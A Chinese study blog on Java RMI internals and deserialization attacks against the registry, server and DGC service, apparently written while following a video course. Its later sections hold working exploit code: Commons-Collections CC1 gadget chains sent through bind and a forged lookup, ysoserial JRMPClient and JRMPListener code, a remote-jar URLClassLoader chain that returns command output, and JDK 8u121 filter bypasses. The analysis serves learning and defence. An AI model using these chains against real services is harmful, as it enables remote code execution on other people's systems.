这篇博客是我跟着b站up白日梦组长的视频写的,真的讲的很好,这里放下链接
java知识点:
1.
在 Java 中,当在子类的构造方法中使用 super
调用父类的构造方法时,如果在父类的构造方法中对一个属性赋值,这个属性是属于子类的属性。
当子类继承父类时,子类会继承父类的属性和方法。当子类实例化时,会先调用父类的构造方法来初始化父类的属性,然后再进行子类的属性初始化。如果在父类的构造方法中对一个属性进行赋值,那么这个属性会被初始化为子类中相应属性的值。
因此,在使用 super
调用父类构造方法时,对属性的赋值操作会影响的是子类中对应的属性。
2.
在 Java 中,如果一个类的属性是另一个类的对象,并且这两个类都实现了 java.io.Serializable
接口,那么在进行对象的反序列化时,会递归调用每个类中实现了 readObject
方法的操作。具体来说,如果一个类包含对另一个类的对象引用,反序列化过程中会递归地对每个类调用其 readObject
方法,以确保对象图的完整恢复。
概述:
RMI代表远程方法调用(Remote Method Invocation),是Java编程语言中用于实现远程通信的机制。它允许在不同Java虚拟机之间的对象之间进行通信和交互,使得可以在网络上的不同计算机上调用远程对象的方法,就好像是在本地调用一样。
而在通信的过程中,就存在序列化和反序列化的过程,如果服务端添加了存在反序列化漏洞的依赖,就可以利用。
大致构成:
原理
-
Stub(存根)和Skeleton(骨架): RMI的运行时系统自动生成Stub和Skeleton,Stub位于客户端,骨架位于服务器端。Stub负责将方法调用打包成网络消息发送到远程服务器,Skeleton负责将这些消息还原为对本地对象的方法调用。
-
远程对象注册表(Remote Object Registry): RMI通过RMI注册表(Registry)来发现远程对象。客户端可以通过Registry查找远程对象的stub引用,从而调用远程对象的方法。
-
序列化(Serialization): RMI 使用序列化机制来实现远程调用。在客户端调用远程对象的方法时,参数和返回值会在网络上传输,因此需要将对象序列化为字节流进行传输。
实现
-
定义远程接口(Remote Interface): 首先定义一个接口,继承
java.rmi.Remote
接口,其中的方法需要声明抛出java.rmi.RemoteException
异常。 -
实现远程对象(Remote Object): 创建实现了远程接口的实现类,这个类是远程的服务提供者,其中包含了对客户端公开的方法实现。
-
创建服务器端(Server): 编写一个服务器端程序,启动远程对象,并将它注册到RMI注册表中。
-
创建客户端(Client): 编写一个客户端程序,通过Registry查找远程对象的Stub,然后像调用本地对象一样调用远程对象上的方法。
自己编写一个RMI:
创建服务端:
创建远程服务接口IRemoteObj,定义了远程对象所提供的服务方法。客户端通过接口中定义的方法来调用远程对象的服务,实现了远程过程调用(RPC)的功能提供。
//IRemoteObj接口
public interface IRemoteObj extends Remote {
public String sayHello(String Keywords) throws RemoteException;
}
一个实现了该接口并继承了UnicastRemoteObject的类RemoteObjimpl ,这就是我们要调用的远程对象。
package org.example;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjimpl extends UnicastRemoteObject implements IRemoteObj{
public RemoteObjimpl() throws RemoteException{
}
@Override
public String sayHello(String Keywords) throws RemoteException {
return null;
}
}
创建远程服务类RMIserver ,也就是我们的服务端。
package org.example;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIserver {
public static void main(String[] args) throws RemoteException , AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjimpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj",remoteObj);
}
}
创建客户端:
首先也需要创建远程服务接口IRemoteObj。
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteObj extends Remote {
public String sayHello(String Keywords) throws RemoteException;
}
创建客户端远程服务:
package org.example;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIclient {
public static void main(String[] args) throws RemoteException , NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
以上的小demo就已经可以实现客户端调用服务端的功能了,接下来我们具体分析通信的过程。
流程分析:
创建远程服务:
先提一下,这个只是单纯的创建过程,没有设计到安全问题,但是可以帮助我们理解RMI。
对RMIserver中调用 new RemoteObjimpl()打上断点分析。
调用类的构造方法
因为有父类,所以会先调用父类的构造方法,这里的port是默认的0,后面还会进入父类的父类等的构造方法,不是重点就不分析了,直接进入exportObject函数。
听名字就可以猜到这个函数是将远程服务发布在网络上的,因为只有发布在网络上才能被客服端或者注册中心获取,才能搭起桥梁。这也是类要继承UnicastRemoteObject的原因,如果不继承的话就需要手动调用这个方法(静态方法可以直接调用)。
这里实例化了一个UnicastServerRef类,是用来处理网络请求的,进入构造方法
这里又实例化了一个LiveRef类,这个类是重点,从始至终只有这一个LiveRef,是真正用来处理网络请求的,进入构造方法
objID就是一个普通的id,TCPEndpoint.getLocalEndpoint(port)返回一个TCPEndpoint类,这个类只需要给一个端口一个ip,就能处理网络请求,被封装在LiveRef中,也就是ep属性,具体构造方法就不分析了。这里因为我们并没有指定ip,默认会设定为本地ip,至于port刚开始默认为0,在经过listen()函数后会随机给一个。
调用UnicastServerRef父类UnicastRef的构造方法,将LiveRef赋值给UnicastServerRef.ref(注意虽然是父类的构造方法,但影响的是子类的属性)。这两个类虽然是父类和子类,但实际上前者对应服务端,后者对应客户端,可以举个恰当的比方
-
UnicastServerRef 就像是餐厅的厨房:
- 在一个餐厅里,厨房负责接收顾客的点菜请求(远程调用请求)并准备食物(处理请求)。
- 类似地,
UnicastServerRef
在RMI中负责接收客户端的远程调用请求并将其分配给适当的远程对象进行处理。
-
UnicastRef 就像是餐厅的服务员:
- 在餐厅中,服务员接收顾客的需求,并与厨房沟通以确保菜品准备和送达。
- 同样,
UnicastRef
在RMI中负责管理客户端与远程对象之间的通信,以确保远程调用的传输和执行。
给我们的远程对象的ref属性赋值UnicastServerRef
然后调用UnicastServerRef.exportObject,在这里会创建动态代理stub用于处理客户端的网络请求,至于为什么是在服务端生成的,是因为在服务端生成后会放到注册中心,然后再被客户端获取。
还创建了一个target类,也就最终封装了所有有用的集成。
然后调用了LiveRef.exportObject,最终在调用TCPTransport.listen(),开启监听(此时会随机给一个端口port),等待连接,也就是成功将这个远程服务发布到了网络上。
要注意此时并没有进入这个if判断,里面的setSkeleton看名字可以猜到是建立服务端代理Skeleton的,后面会进入这个方法。
在建立监听,成功发布远程服务之后,还会记录远程服务发布的信息
将target放入两个hashmap
创建注册中心+绑定:
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj",remoteObj);
注册中心就是一个特殊的服务端,也是一个远程服务端口默认为1099,建立的过程和上面有些区别但大致类似。
打断点进入,会返回一个RegistryImpl类的实例,RegistryImpl
类代表 RMI 注册表的实现。RMI 注册表是 RMI 的一个重要组件,用于在网络上注册和查找远程对象。
进入构造方法,if判断是检测端口号是否为注册中心的端口号1099和一些安全性检测,并没有通过,进入else,实例化了一个LiveRef,一个UnicastServerRef,过程和前面类似就不讲了,进入setup方法看看。
RegistryImpl.ref赋值为UnicastServerRef实例,然后发布服务,与前面创建远程服务不同的是这次第三个参数为true,这代表创建的注册中心这个对象是永久对象,前面的远程服务对象是临时对象。
进入exportObject方法,建立了代理stub和封装后的target,在创建远程服务时是通过反射创建代理stub的,但是在此时则是通过createStub函数创建的,两者类型不同,里面都封装了一个ref,贴两张图可以看看异同。
并且这一次会进入之前没进入的if判断,创建服务端代理Skeleton。
然后与前面一样,记录远程对象的发布,我们来看看已经记录了哪些东西了。可以看到存储了三个对象,我们分析时只记录了两次,其中有一个是系统自己创建的,其中的stub是DGCimpl_Stub类型的,是分布式垃圾回收的对象,在后面有重要的作用。
绑定的过程就是将远程对象和取的名字放进bindings这个hashtable中。
客户端请求注册中心:
package org.example;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIclient {
public static void main(String[] args) throws RemoteException , NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
getRegistry实际上是是根据传入的参数重新建了一个注册中心的远程服务,而不是将注册中心的远程服务本身通过某种方式传过来,重建的过程与前面一样。获取的注册中心的stub如下
然后进入lookup函数,因为缺失源码,无法调试,我们就直接肉眼分析了。
首先newCall()
方法会初始化一个远程方法调用,包括方法的名称、参数等信息,然后将其传输到远程对象所在的服务器上,以便执行远程方法,并将结果返回给客户端,建立了与注册中心的链接,也就是搭起了服务端和客户端的桥梁。
然后将我们要获取的远程对象的名字序列化后写入搭起的桥梁。
然后调用invoke方法,激活桥梁,通过序列化的方式将我们想要获得的客户端代理stub的名字传入注册中心,注册中心也会通过序列化的方式传过来对应的stub,这就是一个存在反序列化漏洞的地方,如果注册中心传回一个恶意的对象,就能实现注册中心对客户端的攻击。
此外,在invoke中会调用executeCall(),在产生下面这种类型的报错时,也会进行反序列化,这也是一个存在反序列化漏洞的地方,且危害比前一个大,因为所有客户端的网络请求都需要调用executeCall()。
客户端请求服务端:
remoteObj.sayHello("hello")
因为remoteObj是代理类,调用他的任何方法都会调用invoke方法(在cc链中讲过)
在重写后的invoke方法中先建立链接
然后会调用marshalValue,将我们要调用的服务端方法的参数类型和参数值序列化后传入服务端,
然后激活,处理网络请求
unmarshalValue则是接受序列化的返回值,将其反序列化,这是一个反序列化点,此外invoke方式中仍调用了executeCall(),这是第二个反序列化点。
注册中心对客户端请求的处理:
客户端是用代理stub来处理请求的,相应的注册中心作为特殊的服务端是通过代理Skeleton来处理网络请求的。
注册中心会从前面提到的用于记录的Objtable中获取到注册中心的target
再从target中获取disp
再从disp获取Skeleton代理,也就是图中的skel
如果target中存在Skeleton代理,oldDispatch函数中就会调用Skeleton.dispatch(分发),其中有很多种case,不同的case对应调用不同的方法。
0 --> bind
1 -->list
2 -->lookup
3 -->rebind
4 -->unbind
除了list都进行了反序列化,都可以进行客户端向服务端的攻击。
服务端对客户端请求的处理:
服务端也是首先获得服务端的target,但是服务端的target中并没有代理Skeleton(不知道为什么的建议重新看看远程服务和注册中心的创建),不会调用oldDispatch,而是会获取客户端请求的方法,这里就是sayHello(),然后如下图所示反序列化传入的参数,这就是可以攻击的地方。
DGC:
前面有提到过Objtable中实际多了一个target,这个target是在另外两个target放入前就已经存在的,那它是怎么被创建的呢?
因为这里调用了DGCImpl的静态变量,而我们知道想要调用一个类的静态变量必须完成这个类的初始化,而完成类的初始话则会执行类的静态代码块。
而在它的静态代码块中则完成了stub和Skeleton的创建,target的封装,流程与前面类似就不讲了。
直接看stub和Skeleton中可以利用的点。
DGCImpl_stub:
直接的反序列化点
invoke触发
DGCImpl_Skel
直接反序列化点:
RMI攻击:
根据上文分析的流程,反序列化利用点存在与客户端与注册中心,客户端与服务端,注册中心与服务端的通信过程中,也就是说这三者之间都可以互相攻击。不过在java8.121版本后对于这些反序列化点加了很大的限制,基本无法利用。
客户端攻击注册中心:
前面说到注册中心处理客户端请求最后是调用了Skeleton.dispatch(分发),其中除了list没有反序列化点,只能进行鸡肋攻击之外,其他都能利用。
bind/rebind:
两个类似,以bind为例:
bind方法会向注册中心传输var1和var2,var1是string类型的,没有操作空间,重点在var2。
注册中心会接受var2并转换成remote类型。
直接拿cc链的poc打就可以了,这里以cc1为例
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class clientAtackReg {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
InvocationHandler invocationHandler = (InvocationHandler) cc1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler));
registry.bind("test",remote);
// Remote remote = Remote.class.cast(invocationHandler);
// ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
// objectOutputStream.writeObject(remote);
// byte[] byteArray = byteArrayOutputStream.toByteArray();
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArray);
// ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
// objectInputStream.readObject();
}
public static Object cc1() throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("value", "bbbbb"); //为了之后能使var6等于value
TransformedMap map = (TransformedMap) TransformedMap.decorate(hashmap, null, chainedTransformer);
Class cla = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = cla.getDeclaredConstructor(Class.class,Map.class);
con.setAccessible(true);
Object instance = con.newInstance(Retention.class,map);
return instance;
}
}
思路就是cc1的思路,让readobject(var2)时触发AnnotationInvocationHandler的readobject函数。
但很多网上的博客没有解释为什么还要把AnnotationInvocationHandler封装成一个动态代理类。
上述代码中我注释掉的代码是我自己测试用的,测试出来是可以直接打的。但是上面提到过,var2是一个remote类型的变量,因此我们需要用Remote.class.cast将invocationHandler转换成remote,转换的条件就是invocationHandler需要实现remote接口,但是事实并没有。而动态代理类Proxy可以做到让invocationHandler代理remote接口,这样就可以进行类型转换。(个人理解,不对欢迎指正)
lookup/unbind
这两个函数只能传入字符串,但是我们可以伪造lookup请求的过程,也就是自己重载一个lookup函数,函数需要的参数可以通过反射获得。
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
public class clientAtackReg {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
InvocationHandler invocationHandler = (InvocationHandler) cc1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler));
//registry.bind("test",remote);
lookup(registry,remote);
//Remote remote = Remote.class.cast(invocationHandler);
// ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
// objectOutputStream.writeObject(remote);
// byte[] byteArray = byteArrayOutputStream.toByteArray();
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArray);
// ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
// objectInputStream.readObject();
}
public static Object cc1() throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("value", "bbbbb"); //为了之后能使var6等于value
TransformedMap map = (TransformedMap) TransformedMap.decorate(hashmap, null, chainedTransformer);
Class cla = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = cla.getDeclaredConstructor(Class.class,Map.class);
con.setAccessible(true);
Object instance = con.newInstance(Retention.class,map);
return instance;
}
public static void lookup(Registry registry, Remote obj)
throws Exception {
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(obj);
ref.invoke(var2);
}
}
客户端攻击服务端:
利用远程方法:
如果客户端调用服务端的远程方法的接受参数是个object,那我们就可以直接传输一个恶意对象过去造成rce。
远程加载对象:
条件很苛刻,就不分析了,参考下面的文章
https://paper.seebug.org/1091/#serverrmi
攻击DGC服务:
前文分析过dgc中的skel和stub也都有反序列化的入口,利用方式大差不差,主要难点在于建立与DGC的通信,这里就直接拿ysoseria的payload了。
main函数主要是接受参数,就不讲了
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
//生成指定的命令执行的payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String hostname = args[ 0 ];
int port = Integer.parseInt(args[ 1 ]);
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
//通信方法
makeDGCCall(hostname, port, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[2], payloadObject);
在makeDGCCall函数中真正建立了与DGC的通信。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
//创建与使用payloads/JRMPLIstener开启监听的rmi服务的Socket通信
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
//获取Socket的输出流
OutputStream os = s.getOutputStream();
//将输出流包装成DataOutputStream流对象
dos = new DataOutputStream(os);
//下面发送了三组数据,是在服务端TCPTransport类的handleMessages方法调用前通信的数据
dos.writeInt(TransportConstants.Magic); // 1246907721;
dos.writeShort(TransportConstants.Version); // 2
dos.writeByte(TransportConstants.SingleOpProtocol); // 76
//在TCPTransport类的handleMessages方法中获取到了80
dos.write(TransportConstants.Call); //80
//下面依然是往服务器发送数据,但是经过了序列化处理
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
//下面四组数据最终发到服务端是用来创建ObjID对象,并且值与dgcID[0:0:0, 2]相同
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
//下面数据是在服务端每一个dispatch方法中获取的
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
//前面经过那么多数据的通信,到了这里就可以发送恶意payload了,服务端会对其进行反序列化处理。
objOut.writeObject(payloadObject);
os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
利用URLClassLoader实现回显攻击:
在服务端执行的恶意命令的结果我们在客户端是看不到的,因此需要利用注册中心遇到异常会直接把异常发回来返回给客户端的特性,利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端。
远程jar包:
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ErrorBaseExec {
public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}
通过如下命令制作成jar包
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class
客户端poc:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.URLClassLoader;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = 远程jar;
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}
高版本绕过:
8u121后加入了白名单的限制,只有以下的类才会被注册中心反序列化。
DGC中的限制更加严重 ,白名单中的都是些没有功能的类。
相比之下还是得从注册中心出发,这里就直接说结论了。
一:
注册中心白名单中的UnicastRef中存在invoke方法,而invoke方法是可以触发JRMP攻击的。而RMI的设计者并没有设计针对客户端的过滤,也就是说在invoke方法中反序列化一个类是没有限制的。因此思路就初步形成了,我们客户端通过操作让服务端生成一个stub,并且让这个stub来访问我们客户端(此时相当于服务端是客户端,我们客户端伪造成了服务端),然后我们真正的客户端就可以向服务端发回一个恶意对象来rce。
来看哪里调用了invoke方法。
可以看到都是一些stub才会调用invoke,因此需要先创建一个stub。
而stub的本质就是一个动态代理,这就涉及到了createProxy函数。
继续找 createProxy函数调用的地方,在DGCclient.EndpointEntry的初始化函数中调用了。
然后就是不停的往前找
这里要提一下,两个地方都调用了,但是在LiveRef中无法进入到else判断,因为在RMI反序列化的全过程中输入流都是ConnectionInputStream(这一点在后面能够利用)
继续找咯
总算找到了,可以看到两个skel中都能触发这一系列的链子从而生成一个dgc的stub,而skel就是在服务端的,可以被我们触发。
例如我们客户端向注册中心发送一个bind的请求,注册中心就会执行call.releaseInputStream(),进而执行前面的一系列的链子。
不过在下面这个函数中需要绕过if的判断,需要让incomingRefTable非空
找怎么给他放一些值进去
走到链子的终点了,readExternal类似与readobject,在反序列化时会自动调用。
逻辑闭环了,找到一个反序列化点,触发UnicastRef的readExternal,然后就会使incomingRefTable非空,这就是我们反序列化的目的。然后客户端发送一个bind请求,服务端就会调用一系列函数来生成一个DGC_stub 。
与之前不同。这次的反序列化只是控制了源码调用的逻辑,使它往另一个方向进行了,之后触发rce都是程序正常执行的结果(可以说是开发者就是那么设计的)。
当然只生成是没用的,回到dgc生成的位置,可以看到下面开启了一个线程,线程中就会执行makeDirtyCall函数,调用dirty函数,最终调用UnicastRef.invoke。
二:
二与一都是通过UnicastRef的invoke方法实现攻击的,但区别在于二是在反序列化时直接调用链子实现的,而一是调用链子改变了代码逻辑,进而在代码正常运行后调用的。二的运用范围会更加广。
调用链如下。
01: sun.rmi.server.UnicastRef.unmarshalValue()
02: sun.rmi.transport.tcp.TCPChannel.newConnection()
03: sun.rmi.server.UnicastRef.invoke()
04: java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod()
05: java.rmi.server.RemoteObjectInvocationHandler.invoke()
06: com.sun.proxy.$Proxy111.createServerSocket()
07: sun.rmi.transport.tcp.TCPEndpoint.newServerSocket()
08: sun.rmi.transport.tcp.TCPTransport.listen()
09: ...
10: java.rmi.server.UnicastRemoteObject.reexport()
11: java.rmi.server.UnicastRemoteObject.readObject()
只需要注意sun.rmi.transport.tcp.TCPEndpoint#newServerSocket:
ServerSocket newServerSocket() throws IOException {
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
}
Object var1 = this.ssf;
if (var1 == null) {
var1 = chooseFactory();
}
ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
if (this.listenPort == 0) {
setDefaultPort(var2.getLocalPort(), this.csf, this.ssf);
}
return var2;
}
因为动态代理的缘故,调用createServerSocket会进入到java.rmi.server.RemoteObjectInvocationHandler,拦截createServerSocket方法并调用invoke。
ysoseria中的payload总结:
1、exploit
RMIRegistryExploit:利用bind绑定恶意对象攻击注册中心
JRMPClient:攻击DGC服务
JRMPListener:用到了高版本绕过一的原理,伪造恶意服务端,让要攻击的服务端作为客户端向我们的恶意服务端发送JRMP请求,进而反序列化恶意服务端传回去的恶意对象。
2、payloads
JRMPListener:通过一个反序列化点使服务端暴露一个RMI的接口,也就是将一个普通的反序列化点转换成了RMI反序列化点,用处不大,可能能用于绕过某些过滤。
JRMPClient:也是通过一个普通的反序列化点开启RMI的服务
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
这里是直接通过LiveRef的else方法的(上文提到过),因为普通的反序列化点中并不都是ConnectionInputStream输入流。
后记:看看yso中是怎么用的
很好奇yso中RMI二次反序列化到底是怎么进行的,到底是怎么暴露处RMI接口的,所以就有了后记。
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
getObject是获取了注册中心的代理,代理类是RemoteObjectInvocationHandler。在main函数中主要看第二行,调用了run方法,PayloadRunner是在yso中定义的,找到看看。
public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command);
System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore);
return ser;
}});
try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}
}
args参数是我们输入的,形式是host:port,run函数中创建一个匿名 Callable
类实例,并实现其中的 call
方法,在里面调用了getObject方法获取了注册中心的代理对象,并将其序列化后进行反序列化,调用UnicastRef 类的 readExternal。
总结:没啥区别,只不过yso中写的比较复杂,浪费我时间。